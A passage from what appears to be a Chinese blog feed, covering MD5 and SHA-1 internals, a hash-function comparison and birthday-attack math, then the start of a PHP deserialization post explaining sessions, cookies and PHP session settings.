a = b + ((a + G(b, c, d) + Mj + ti) <<< s)<br> HH(a, b, c, d, M[j], s, ti) 表示 a = b + ((a + H(b, c, d) + Mj + ti) <<< s)<br> II(a, b, c, d, M[j], s, ti) 表示 a = b + ((a + I(b, c, d) + Mj + ti) <<< s)</p><p>在每次循环中,其循环分为4轮,可用下列公式表示:</p><figure class="highlight angelscript"><table><tr><td class="code"><pre><span class="line">a = A; b = B; c = C; d = D;</span><br><span class="line"><span class="comment">//对M[j]的第一轮循环</span></span><br><span class="line">FF(a,b,c,d,M[<span class="number">0</span>],<span class="number">7</span>,<span class="number">0xd76aa478</span>);</span><br><span class="line">FF(d,a,b,c,M[<span class="number">1</span>],<span class="number">12</span>,<span class="number">0xe8c7b756</span>);</span><br><span class="line">FF(c,d,a,b,M[<span class="number">2</span>],<span class="number">17</span>,<span class="number">0x242070db</span>);</span><br><span class="line">FF(b,c,d,a,M[<span class="number">3</span>],<span class="number">22</span>,<span class="number">0xc1bdceee</span>);</span><br><span class="line">FF(a,b,c,d,M[<span class="number">4</span>],<span class="number">7</span>,<span class="number">0xf57c0faf</span>);</span><br><span class="line">FF(d,a,b,c,M[<span class="number">5</span>],<span class="number">12</span>,<span class="number">0x4787c62a</span>);</span><br><span class="line">FF(c,d,a,b,M[<span class="number">6</span>],<span class="number">17</span>,<span class="number">0xa8304613</span>);</span><br><span class="line">FF(b,c,d,a,M[<span class="number">7</span>],<span class="number">22</span>,<span class="number">0xfd469501</span>) ;</span><br><span class="line">FF(a,b,c,d,M[<span class="number">8</span>],<span class="number">7</span>,<span class="number">0x698098d8</span>) ;</span><br><span class="line">FF(d,a,b,c,M[<span class="number">9</span>],<span class="number">12</span>,<span class="number">0x8b44f7af</span>) ;</span><br><span class="line">FF(c,d,a,b,M[<span class="number">10</span>],<span class="number">17</span>,<span class="number">0xffff5bb1</span>) ;</span><br><span class="line">FF(b,c,d,a,M[<span class="number">11</span>],<span class="number">22</span>,<span class="number">0x895cd7be</span>) ;</span><br><span class="line">FF(a,b,c,d,M[<span class="number">12</span>],<span class="number">7</span>,<span class="number">0x6b901122</span>) ;</span><br><span class="line">FF(d,a,b,c,M[<span class="number">13</span>],<span class="number">12</span>,<span class="number">0xfd987193</span>) ;</span><br><span class="line">FF(c,d,a,b,M[<span class="number">14</span>],<span class="number">17</span>,<span class="number">0xa679438e</span>) ;</span><br><span class="line">FF(b,c,d,a,M[<span class="number">15</span>],<span class="number">22</span>,<span class="number">0x49b40821</span>);</span><br><span class="line"> </span><br><span class="line"><span class="comment">//对M[j]的第二轮循环</span></span><br><span class="line">GG(a,b,c,d,M[<span class="number">1</span>],<span class="number">5</span>,<span class="number">0xf61e2562</span>);</span><br><span class="line">GG(d,a,b,c,M[<span class="number">6</span>],<span class="number">9</span>,<span class="number">0xc040b340</span>);</span><br><span class="line">GG(c,d,a,b,M[<span class="number">11</span>],<span class="number">14</span>,<span class="number">0x265e5a51</span>);</span><br><span class="line">GG(b,c,d,a,M[<span class="number">0</span>],<span class="number">20</span>,<span class="number">0xe9b6c7aa</span>) ;</span><br><span class="line">GG(a,b,c,d,M[<span class="number">5</span>],<span class="number">5</span>,<span class="number">0xd62f105d</span>) ;</span><br><span class="line">GG(d,a,b,c,M[<span class="number">10</span>],<span class="number">9</span>,<span class="number">0x02441453</span>) ;</span><br><span class="line">GG(c,d,a,b,M[<span class="number">15</span>],<span class="number">14</span>,<span class="number">0xd8a1e681</span>);</span><br><span class="line">GG(b,c,d,a,M[<span class="number">4</span>],<span class="number">20</span>,<span class="number">0xe7d3fbc8</span>) ;</span><br><span class="line">GG(a,b,c,d,M[<span class="number">9</span>],<span class="number">5</span>,<span class="number">0x21e1cde6</span>) ;</span><br><span class="line">GG(d,a,b,c,M[<span class="number">14</span>],<span class="number">9</span>,<span class="number">0xc33707d6</span>) ;</span><br><span class="line">GG(c,d,a,b,M[<span class="number">3</span>],<span class="number">14</span>,<span class="number">0xf4d50d87</span>) ;</span><br><span class="line">GG(b,c,d,a,M[<span class="number">8</span>],<span class="number">20</span>,<span class="number">0x455a14ed</span>);</span><br><span class="line">GG(a,b,c,d,M[<span class="number">13</span>],<span class="number">5</span>,<span class="number">0xa9e3e905</span>);</span><br><span class="line">GG(d,a,b,c,M[<span class="number">2</span>],<span class="number">9</span>,<span class="number">0xfcefa3f8</span>) ;</span><br><span class="line">GG(c,d,a,b,M[<span class="number">7</span>],<span class="number">14</span>,<span class="number">0x676f02d9</span>) ;</span><br><span class="line">GG(b,c,d,a,M[<span class="number">12</span>],<span class="number">20</span>,<span class="number">0x8d2a4c8a</span>);</span><br><span class="line"> </span><br><span class="line"><span class="comment">//对M[j]的第三轮循环</span></span><br><span class="line">HH(a,b,c,d,M[<span class="number">5</span>],<span class="number">4</span>,<span class="number">0xfffa3942</span>);</span><br><span class="line">HH(d,a,b,c,M[<span class="number">8</span>],<span class="number">11</span>,<span class="number">0x8771f681</span>);</span><br><span class="line">HH(c,d,a,b,M[<span class="number">11</span>],<span class="number">16</span>,<span class="number">0x6d9d6122</span>);</span><br><span class="line">HH(b,c,d,a,M[<span class="number">14</span>],<span class="number">23</span>,<span class="number">0xfde5380c</span>) ;</span><br><span class="line">HH(a,b,c,d,M[<span class="number">1</span>],<span class="number">4</span>,<span class="number">0xa4beea44</span>) ;</span><br><span class="line">HH(d,a,b,c,M[<span class="number">4</span>],<span class="number">11</span>,<span class="number">0x4bdecfa9</span>) ;</span><br><span class="line">HH(c,d,a,b,M[<span class="number">7</span>],<span class="number">16</span>,<span class="number">0xf6bb4b60</span>) ;</span><br><span class="line">HH(b,c,d,a,M[<span class="number">10</span>],<span class="number">23</span>,<span class="number">0xbebfbc70</span>);</span><br><span class="line">HH(a,b,c,d,M[<span class="number">13</span>],<span class="number">4</span>,<span class="number">0x289b7ec6</span>);</span><br><span class="line">HH(d,a,b,c,M[<span class="number">0</span>],<span class="number">11</span>,<span class="number">0xeaa127fa</span>);</span><br><span class="line">HH(c,d,a,b,M[<span class="number">3</span>],<span class="number">16</span>,<span class="number">0xd4ef3085</span>);</span><br><span class="line">HH(b,c,d,a,M[<span class="number">6</span>],<span class="number">23</span>,<span class="number">0x04881d05</span>);</span><br><span class="line">HH(a,b,c,d,M[<span class="number">9</span>],<span class="number">4</span>,<span class="number">0xd9d4d039</span>);</span><br><span class="line">HH(d,a,b,c,M[<span class="number">12</span>],<span class="number">11</span>,<span class="number">0xe6db99e5</span>);</span><br><span class="line">HH(c,d,a,b,M[<span class="number">15</span>],<span class="number">16</span>,<span class="number">0x1fa27cf8</span>) ;</span><br><span class="line">HH(b,c,d,a,M[<span class="number">2</span>],<span class="number">23</span>,<span class="number">0xc4ac5665</span>);</span><br><span class="line"> </span><br><span class="line"><span class="comment">//对M[j]的第四轮循环</span></span><br><span class="line">II(a,b,c,d,M[<span class="number">0</span>],<span class="number">6</span>,<span class="number">0xf4292244</span>) ;</span><br><span class="line">II(d,a,b,c,M[<span class="number">7</span>],<span class="number">10</span>,<span class="number">0x432aff97</span>) ;</span><br><span class="line">II(c,d,a,b,M[<span class="number">14</span>],<span class="number">15</span>,<span class="number">0xab9423a7</span>);</span><br><span class="line">II(b,c,d,a,M[<span class="number">5</span>],<span class="number">21</span>,<span class="number">0xfc93a039</span>) ;</span><br><span class="line">II(a,b,c,d,M[<span class="number">12</span>],<span class="number">6</span>,<span class="number">0x655b59c3</span>) ;</span><br><span class="line">II(d,a,b,c,M[<span class="number">3</span>],<span class="number">10</span>,<span class="number">0x8f0ccc92</span>) ;</span><br><span class="line">II(c,d,a,b,M[<span class="number">10</span>],<span class="number">15</span>,<span class="number">0xffeff47d</span>);</span><br><span class="line">II(b,c,d,a,M[<span class="number">1</span>],<span class="number">21</span>,<span class="number">0x85845dd1</span>) ;</span><br><span class="line">II(a,b,c,d,M[<span class="number">8</span>],<span class="number">6</span>,<span class="number">0x6fa87e4f</span>) ;</span><br><span class="line">II(d,a,b,c,M[<span class="number">15</span>],<span class="number">10</span>,<span class="number">0xfe2ce6e0</span>);</span><br><span class="line">II(c,d,a,b,M[<span class="number">6</span>],<span class="number">15</span>,<span class="number">0xa3014314</span>) ;</span><br><span class="line">II(b,c,d,a,M[<span class="number">13</span>],<span class="number">21</span>,<span class="number">0x4e0811a1</span>);</span><br><span class="line">II(a,b,c,d,M[<span class="number">4</span>],<span class="number">6</span>,<span class="number">0xf7537e82</span>) ;</span><br><span class="line">II(d,a,b,c,M[<span class="number">11</span>],<span class="number">10</span>,<span class="number">0xbd3af235</span>);</span><br><span class="line">II(c,d,a,b,M[<span class="number">2</span>],<span class="number">15</span>,<span class="number">0x2ad7d2bb</span>);</span><br><span class="line">II(b,c,d,a,M[<span class="number">9</span>],<span class="number">21</span>,<span class="number">0xeb86d391</span>);</span><br><span class="line"> </span><br><span class="line">A += a;</span><br><span class="line">B += b;</span><br><span class="line">C += c;</span><br><span class="line">D += d;</span><br></pre></td></tr></table></figure><p>处理完所有的512位的分组后,得到一组新的A,B,C,D的值,将这些值按ABCD的顺序级联,然后输出。这里还要注意,输出的MD5是按内存中数值的排列顺序,所以我们要分别对A,B,C,D的值做一个小端规则的转换。举个例子:A有32位,分成4个字节A1A2A3A4。输出A的时候,要这样输出:A4A3 A2A1。这样就能输出正确的MD5了。</p><h2 id="SHA-1杂凑函数">SHA-1杂凑函数</h2><p>SHA-1(Secure Hash Algorithm 1,安全散列算法1)是一种密码杂凑函数,由美国国家安全局设计,并由(NIST)发布为FIPS。SHA-1的数据杂凑值为160位(20字节),杂凑值通常的呈现形式为40个十六进制数。该杂凑函数使用的是和MD5一样的Merkle Damgard结构。</p><p>SHA1对任意长度明文的预处理和MD5的过程是一样的,即预处理完后的明文长度是512位的整数倍,但是有一点不同,那就是SHA1的原始报文长度不能超过2的64次方,然后SHA1生成160位的报文摘要。SHA1算法简单而且紧凑,容易在计算机上实现。SHA-1和MD5相比,其差别大致可概括如下:</p><table><thead><tr><th>差异处</th><th>MD5</th><th>SHA1</th></tr></thead><tbody><tr><td>摘要长度</td><td>128位</td><td>160位</td></tr><tr><td>运算步骤数</td><td>64</td><td>80</td></tr><tr><td>基本逻辑函数数目</td><td>4</td><td>4</td></tr></tbody></table><ul><li>安全性:SHA1所产生的摘要比MD5长32位。若两种散列函数在结构上没有任何问题的话,SHA1比MD5更安全。</li><li>速度:两种方法都是主要考虑以32位处理器为基础的系统结构。但SHA1的运算步骤比MD5多了16步,而且SHA1记录单元的长度比MD5多了32位。因此若是以硬件来实现SHA1,其速度大约比MD5慢了25%。</li><li>简易性:两种方法都是相当的简单,在实现上不需要很复杂的程序或是大量存储空间。然而总体上来讲,SHA1对每一步骤的操作描述比MD5简单。</li></ul><p>其算法流程如下:</p><p>SHA-1算法中,填充时第一位填1,其他填0,再将长度附到后面,此时明文长度为512的倍数,按照512划分分组,分别表示为Yi,然后对于每个分组进行处理。其预处理和MD5类似,区别主要在于后续的分组处理,在此也只对预处理后的步骤进行介绍:</p><p><img src="/image/201910_mimahaxi/sha1.png" alt=""></p><p>每个512位分组划分为16个小分组Mi,将16个小分组扩充为80份小分组,记为Wi,扩充方法为:</p><p> Wt = Mt , 当0≤t≤15<br> Wt = (Wt-3⊕Wt-8⊕Wt-14⊕Wt-16)<<<1, 当16≤t≤79</p><p>SHA1有4轮运算,每一轮包括20个步骤(一共80步),最后产生160位摘要,这160位摘要存放在5个32位的链接变量中,分别标记为A、B、C、D、E。这5个链接变量的初始值以16进制位表示如下。</p><p> A=0x67452301<br> B=0xEFCDAB89<br> C=0x98BADCFE<br> D=0x10325476<br> E=0xC3D2E1F0</p><p>SHA1有4轮运算,每一轮包括20个步骤,一共80步,当第1轮运算中的第1步骤开始处理时,A、B、C、D、E五个链接变量中的值先赋值到另外5个记录单元A′,B′,C′,D′,E′中。这5个值将保留,用于在第4轮的最后一个步骤完成之后与链接变量A,B,C,D,E进行求和操作。<br>在SHA-1每轮步骤中,使用的函数步骤是一样的:</p><p> A,B,C,D,E←[(A<<<5)+ ft(B,C,D)+E+Wt+Kt],A,(B<<<30),C,D</p><p>其中 ft(B,C,D)为逻辑函数,Wt为子明文分组W[t],Kt为固定常数。这个操作程序的意义为:</p><ul><li>将[(A<<<5)+ ft(B,C,D)+E+Wt+Kt]的结果赋值给链接变量A;</li><li>将链接变量A初始值赋值给链接变量B;</li><li>将链接变量B初始值循环左移30位赋值给链接变量C;</li><li>将链接变量C初始值赋值给链接变量D;</li><li>将链接变量D初始值赋值给链接变量E。</li></ul><p>举一个例子来说明SHA1哈希算法中的每一步是怎样进行的,比起MD5算法,SHA1相对简单,假设W[1]=0x12345678,此时链接变量的值分别为A=0x67452301、B=0xEFCDAB89、C=0x98BADCFE、D=0x10325476、E=0xC3D2E1F0,那么第1轮第1步的运算过程如下:</p><ol><li>将链接变量A循环左移5位,得到的结果为:0xE8A4602C。</li><li>将B,C,D经过相应的逻辑函数:<br>(B&C)|(~B&D)=(0xEFCDAB89&0x98BADCFE)|(~0xEFCDAB89&0x10325476)=0x98BADCFE</li><li>将第(1)步,第(2)步的结果与E,W[1],和K[1]相加得:<br>0xE8A4602C+0x98BADCFE+0xC3D2E1F0+0x12345678+0x5A827999=0xB1E8EF2B</li><li>将B循环左移30位得:(B<<<30)=0x7BF36AE2。</li><li>将第3步结果赋值给A,A(这里是指A的原始值)赋值给B,步骤4的结果赋值给C,C的原始值赋值给D,D的原始值赋值给E。</li><li>最后得到第1轮第1步的结果:</li></ol><p> A = 0xB1E8EF2B<br> B = 0x67452301<br> C = 0x7BF36AE2<br> D = 0x98BADCFE<br> E = 0x10325476</p><p>按照这种方法,将80个步骤进行完毕。第四轮最后一个步骤的A,B,C,D,E输出,将分别与记录单元A′,B′,C′,D′,E′中的数值求和运算。其结果将作为输入成为下一个512位明文分组的链接变量A,B,C,D,E,当最后一个明文分组计算完成以后,A,B,C,D,E中的数据就是最后散列函数值。</p><h2 id="常见杂凑函数对比">常见杂凑函数对比</h2><p>目前流行的 Hash 算法包括 MD5、SHA-1 和 SHA-2。</p><ul><li>MD4(RFC 1320)是 MIT 的 Ronald L. Rivest 在 1990 年设计的,MD 是 Message Digest 的缩写。其输出为 128 位。MD4 已证明不够安全。</li><li>MD5(RFC 1321)是 Rivest 于1991年对 MD4 的改进版本。它对输入仍以 512 位分组,其输出是 128 位。MD5 比 MD4 复杂,并且计算速度要慢一点,更安全一些。MD5 已被证明不具备"强抗碰撞性"。</li><li>SHA (Secure Hash Algorithm)是一个 Hash 函数族,由 NIST(National Institute of Standards and Technology)于 1993 年发布第一个算法。目前知名的 SHA-1 在 1995 年面世,它的输出为长度 160 位的 hash 值,因此抗穷举性更好。SHA-1 设计时基于和 MD4 相同原理,并且模仿了该算法。SHA-1 已被证明不具"强抗碰撞性"。<br>为了提高安全性,NIST 还设计出了 SHA-224、SHA-256、SHA-384,和 SHA-512 算法(统称为 SHA-2),跟 SHA-1 算法原理类似。SHA-3 相关算法也已被提出。</li></ul><p>可以看出,上面这几种流行的算法,它们最重要的一点区别就是"强抗碰撞性"。另外,在维基中对于一些主流的杂凑函数有进行对比,其总结如下:</p><table><thead><tr><th>算法和变体</th><th>输出杂凑值长度(bits)</th><th>数据块长度(bits)</th><th>最大输入消息长度(bits)</th><th>循环次数</th></tr></thead><tbody><tr><td>MD5</td><td>128</td><td>512</td><td>无限</td><td>64</td></tr><tr><td>SHA-0</td><td>160</td><td>512</td><td>2^64-1</td><td>80</td></tr><tr><td>SHA-1</td><td>160</td><td>512</td><td>2^64-1</td><td>80</td></tr><tr><td>SHA-256</td><td>256</td><td>512</td><td>2^64-1</td><td>64</td></tr><tr><td>SHA-512</td><td>512</td><td>1024</td><td>2^128-1</td><td>80</td></tr><tr><td>SHA3-224</td><td>224</td><td>1152</td><td>无限</td><td>24</td></tr><tr><td>SHA3-256</td><td>256</td><td>1088</td><td>无限</td><td>24</td></tr><tr><td>SHA3-512</td><td>512</td><td>576</td><td>无限</td><td>24</td></tr></tbody></table><h2 id="杂凑函数安全性">杂凑函数安全性</h2><p>如果不存在设计缺陷,根据杂凑函数的三大性质,函数的安全性取决于输出哈希值的位长度。假设给定一个长度为m的杂凑函数,攻击者至少需要爆破2^(m/2)次,这是利用生日攻击进行推导得出,具体推导过程这里不详细阐述,提供<a href="https://www.ruanyifeng.com/blog/2018/09/hash-collision-and-birthday-attack.html" target="_blank" rel="noopener">一个参考</a></p><p>由生日攻击可得,假设哈希空间大小为N,则只要计算 (π/2*N)^1/2 ,就有50%的可能性产生碰撞,假设N为365,按照公式计算出为23.9,其概率如下图:</p><p><img src="/image/201910_mimahaxi/shengri.png" alt=""></p><p>由生日攻击可得,哈希碰撞所需耗费的计算次数,和取值空间的平方根是一个数量级。假设d为哈希空间大小,n为当前碰撞次数,则当前碰撞成功的概率计算公式为:</p><p><img src="/image/201910_mimahaxi/gongshi.png" alt=""></p><p>由公式可得,假设哈希值为m位,则攻击者准备2^m/2次方信息X生成hash,2^m/2次方信息Y生成hash,则找到hash(X)=hash(Y)的概率为50%。</p><h2 id="杂凑函数应用">杂凑函数应用</h2><h3 id="在密码系统中的应用">在密码系统中的应用</h3><ol><li>密钥导出</li><li>消息认证码</li><li>数字签名中的消息摘要</li><li>将公钥密码机制转为CCA安全机制</li><li>构造伪随机数生成器</li></ol><h3 id="其它应用">其它应用</h3><ol><li>文件校验:使用杂凑函数计算文件哈希值作为文件完整性的校验值,检查文件是否被更改。</li><li>内容标识符:使用杂凑函数作为数据指纹,判断数据是否可信</li><li>分布式哈希表<br>哈希表,将 key 和 value 以 (hash(key) ,value)的形式存储,即为哈希表,哈希表将所有数据存储在同一台设备上,而分布式哈希表则将说句分为若干个部分分别存储在不同的机器上,从而降低数据被全部损坏的风险。<br>分布式哈希表是一种分布式的存储方法,不需要中心节点服务器,直接由每个客户端负责一个小范围的路由,并负责存储一小部分数据,从而实现整个DHT网络的寻址和存储。其次,DHT网络还在和关键字最接近的节点上复制备份冗余信息,从而避免单一节点失效的问题。<br>DHT寻址和存储过程:<br>通过DHT数据结构它把KEY和 VALUE用某种方式对应起来。使用hash()函数把一个KEY值映射到一个index上:hash(KEY) = index。这样就可以把一个KEY值同某个index对应起来。然后把与这个KEY值对应的VALUE存储到index所标记的存储空间中。这样,每次想要查找KEY所对应的VALUE值时,只需要做一次hash()运算就可以找到了。以上就是寻址过程。<br>这里的hash函数为一个一致性哈希函数,假设存储空间地址可以以 0-2^32-1 表示,则该一致性函数即将key值hash成一个index值,index值即为空间地址,以此就可以按照index value进行存储和寻址。</li></ol><p><img src="/image/201910_mimahaxi/dht.png" alt=""></p><ol start="4"><li>密码存储保护:在文档加密和磁盘加密中,加密算法要求使用相同长度的密钥,要求将不同长度的密码转为相同长度,因此可以使用hash函数,先将passwd哈希为密钥,再以这一密钥进行文档的加密。</li><li>服务器端密码保护:在服务器端存储密码时,使用哈希的方式存储</li><li>数字签名</li></ol>]]></content>
<summary type="html">
一开学专业课就是密码学,意料之中,但是在课程进行中发现和本科时候学的密码学还是有所区别的,而且自己也已经很多不记得了,趁有空,把一些密码学的东西总结下,也算是对之前内容的复习和对现在正上着的课程的预习了。因为密码学是一门大学科,也没打算将所有的东西都弄懂,能够把一些常用的东西理清楚其实就很不错了,而这一篇主要是对密码杂凑函数的一些总结和概述。
</summary>
<category term="密码学" scheme="http://www.xiaozblog.top/categories/%E5%AF%86%E7%A0%81%E5%AD%A6/"/>
<category term="密码学" scheme="http://www.xiaozblog.top/tags/%E5%AF%86%E7%A0%81%E5%AD%A6/"/>
<category term="网络安全理论" scheme="http://www.xiaozblog.top/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E7%90%86%E8%AE%BA/"/>
<category term="哈希函数" scheme="http://www.xiaozblog.top/tags/%E5%93%88%E5%B8%8C%E5%87%BD%E6%95%B0/"/>
</entry>
<entry>
<title>PHP反序列化总结(二)</title>
<link href="http://www.xiaozblog.top/2019/09/28/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%80%BB%E7%BB%93(%E4%BA%8C)-%E5%B0%8F%E7%99%BD%E6%96%87/"/>
<id>http://www.xiaozblog.top/2019/09/28/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%80%BB%E7%BB%93(%E4%BA%8C)-%E5%B0%8F%E7%99%BD%E6%96%87/</id>
<published>2019-09-28T09:32:14.000Z</published>
<updated>2020-09-03T02:52:04.000Z</updated>
<content type="html"><![CDATA[<p>接上一篇《PHP反序列化总结(一)》,前一篇对于序列化、PHP序列化与反序列化、PHP魔法函数、POP链进行了介绍,这篇将继续对session序列化、phar伪协议触发PHP反序列化等进行介绍。</p><h2 id="session序列化">session序列化</h2><h3 id="session与cookie">session与cookie</h3><p>介绍session序列化前,先对session和php中的处理机制进行介绍。首先,先区分下什么session和cookie。</p><p>先看session,session其实是一种存放在服务器端的用户数据,一般称为 “会话控制”,用以实现一种客户与网站/服务器的更为安全的会话方式,通过使用session来保存会话中的用户数据和会话信息,从而让服务器/网站与用户间的会话可以通过session来进行识别和保持。如果服务器或网站开启session机制,用户第一次访问网站时的流程一般是下面这样的过程:</p><ul><li>在浏览器第一次请求访问一个网页时,服务器会自动生成一个session来标识这一对话,并且声称一个session id来唯一标识这个session,且将其通过响应报文发送给用户的浏览器上,通知其在会话时需要带上这一session id;</li><li>浏览器收到服务器响应报文中发来的session信息,在第二次请求时,会在请求报文中带上这一session信息,一起发送给服务器端;</li><li>服务器收到用户的第二次请求,并从中提取出session id,与本地的id表进行对比,找到对应的session,进行下一步会话。</li></ul><p>一般情况下,服务器会在一定时间内(默认30分钟)保存这个session,过了时间限制,就会进行销毁。在销毁之前,程序员可以将用户的一些数据以Key和Value的形式暂时存放在这个session中。当然,也有使用数据库将这个session序列化后保存起来的,这样的好处是没了时间的限制,坏处是随着时间的增加,这个数据库会急速膨胀,特别是访问量增加的时候。一般还是采取前一种方式,以减轻服务器压力。</p><p>那么cookie又是什么?cookie和session最大的区别,在于cookie是存储在用户端的浏览器内存或者一个文本中,即不会占用服务器端的资源,使用流程和上述所说的session类似,由服务器返回给浏览器,浏览器保存,访问时带上这串数据。cookie也可以说是session对象的一种,一般用以识别用户身份和记录访问历史。</p><p>这里或许有人看出来,不管是session还是cookie,上述所说的服务器返回给用户浏览器,其实都是需要浏览器保存的?那又有什么区别呢?区别在于session在本地只有session id,而不会直接存储session,session是由浏览器发送id至服务器后进行查找得到的。</p><p>另外,这里值得说明的是,cookie因为其存储位置的原因,其安全性一直都颇具争议,其本地地可见性与可编辑性,常会引发众多安全问题,所以在使用cookie时,需要谨慎进行考虑!</p><h3 id="PHP中的session处理过程与配置">PHP中的session处理过程与配置</h3><p>在PHP中,假设此时用户执行登录操作,其session的工作流程如下所示:</p><ol><li>将本地的cookie中的session标识和用户名,密码带到后台中;</li><li>后台检测有没有对应的session标识,我们以php为例,那么就是检测有没有接收到对应的PHPSESSID;</li><li>如果没有对应的session标识,则直接生成一个新的session。有的话,检测对应的文件是否存在并且有效;</li><li>如果对应的session失效,则需要清除session然后生成新的session。不失效,则使用当前的session;</li></ol><p>在PHP的session处理中,有一些机制是需要进行配置的,一般配置如下:</p><figure class="highlight pgsql"><table><tr><td class="code"><pre><span class="line">设置<span class="keyword">session</span>存放在cookie中中标识的字段名,php中默认为PHPSESSID;</span><br><span class="line"> 对应的设置为: <span class="keyword">session</span>.name = PHPSESSID</span><br><span class="line">如果客户端禁用了cookie,可以通过设置<span class="keyword">session</span>.use_trans_sid来使标识的交互方式从cookie变为url传递;</span><br><span class="line"> 对应的设置为: <span class="keyword">session</span>.use_trans_sid = <span class="number">0</span></span><br><span class="line">设置<span class="keyword">session</span>的保存位置;</span><br><span class="line"> 对应的设置为: <span class="keyword">session</span>.save_path="/PHP/tmp" (这里使用的存储位置只是示例)</span><br></pre></td></tr></table></figure><p>这里也附上一些从网上找的其他的更为详细的配置:</p><figure class="highlight pgsql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">session</span>.gc_divisor</span><br><span class="line">php <span class="keyword">session</span>垃圾回收机制相关配置</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.sid_bits_per_character</span><br><span class="line">指定编码的会话ID字符中的位数</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.save_path=""</span><br><span class="line">该配置主要设置<span class="keyword">session</span>的存储路径</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.save_handler=""</span><br><span class="line">该配置主要设定用户自定义存储函数,如果想使用PHP内置<span class="keyword">session</span>存储机制之外的可以使用这个函数</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.use_strict_mode</span><br><span class="line">严格会话模式,严格会话模式不接受未初始化的会话ID并重新生成会话ID</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.use_cookies</span><br><span class="line">指定是否在客户端用 cookie 来存放会话 ID,默认启用</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.cookie_secure</span><br><span class="line">指定是否仅通过安全连接发送 cookie,默认关闭</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.use_only_cookies</span><br><span class="line">指定是否在客户端仅仅使用cookie来存放会话 ID,启用的话,可以防止有关通过 URL 传递会话 ID 的攻击</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.name</span><br><span class="line">指定会话名以用做 cookie 的名字,只能由字母数字组成,默认为 PHPSESSID</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.auto_start</span><br><span class="line">指定会话模块是否在请求开始时启动一个会话,默认值为 <span class="number">0</span>,不启动</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.cookie_lifetime</span><br><span class="line">指定了发送到浏览器的 cookie 的生命周期,单位为秒,值为 <span class="number">0</span> 表示“直到关闭浏览器”。默认为 <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.cookie_path</span><br><span class="line">指定要设置会话cookie 的路径,默认为 /</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.cookie_domain</span><br><span class="line">指定要设置会话cookie 的域名,默认为无,表示根据 cookie 规范产生cookie的主机名</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.cookie_httponly</span><br><span class="line">将Cookie标记为只能通过HTTP协议访问,即无法通过脚本语言(例如JavaScript)访问Cookie,此设置可以有效地帮助通过XSS攻击减少身份盗用</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.serialize_handler</span><br><span class="line">定义用来序列化/反序列化的处理器名字,默认使用php,还有其他引擎,且不同引擎的对应的<span class="keyword">session</span>的存储方式不相同</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.gc_probability</span><br><span class="line">该配置项与 <span class="keyword">session</span>.gc_divisor 合起来用来管理 garbage collection,即垃圾回收进程启动的概率</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.gc_divisor</span><br><span class="line">该配置项与<span class="keyword">session</span>.gc_probability合起来定义了在每个会话初始化时启动垃圾回收进程的概率</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.gc_maxlifetime</span><br><span class="line">指定过了多少秒之后数据就会被视为“垃圾”并被清除,垃圾搜集可能会在<span class="keyword">session</span>启动的时候开始( 取决于<span class="keyword">session</span>.gc_probability 和 <span class="keyword">session</span>.gc_divisor)</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.referer_check</span><br><span class="line">包含有用来检查每个 HTTP Referer的子串。如果客户端发送了Referer信息但是在其中并未找到该子串,则嵌入的会话 ID 会被标记为无效。默认为空字符串</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.cache_limiter</span><br><span class="line">指定会话页面所使用的缓冲控制方法(<span class="keyword">none</span>/nocache/private/private_no_expire/<span class="built_in">public</span>)。默认为 nocache</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.cache_expire</span><br><span class="line">以分钟数指定缓冲的会话页面的存活期,此设定对nocache缓冲控制方法无效。默认为 <span class="number">180</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.use_trans_sid</span><br><span class="line">指定是否启用透明 SID 支持。默认禁用</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.sid_length</span><br><span class="line">配置会话ID字符串的长度。 会话ID的长度可以在<span class="number">22</span>到<span class="number">256</span>之间。默认值为<span class="number">32</span>。</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.trans_sid_tags</span><br><span class="line">指定启用透明sid支持时重写哪些HTML标签以包括会话ID</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.trans_sid_hosts</span><br><span class="line">指定启用透明sid支持时重写的主机,以包括会话ID</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.sid_bits_per_character</span><br><span class="line">配置编码的会话ID字符中的位数</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.upload_progress.enabled</span><br><span class="line">启用上传进度跟踪,并填充$ _SESSION变量, 默认启用。</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.upload_progress.cleanup</span><br><span class="line">读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.upload_progress.prefix</span><br><span class="line">配置$ _SESSION中用于上传进度键的前缀,默认为upload_progress_</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.upload_progress.name</span><br><span class="line">$ _SESSION中用于存储进度信息的键的名称,默认为PHP_SESSION_UPLOAD_PROGRESS</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.upload_progress.freq</span><br><span class="line">定义应该多长时间更新一次上传进度信息</span><br><span class="line"></span><br><span class="line"><span class="keyword">session</span>.upload_progress.min_freq</span><br><span class="line">更新之间的最小延迟</span><br><span class="line"></span><br><span class="line"><span 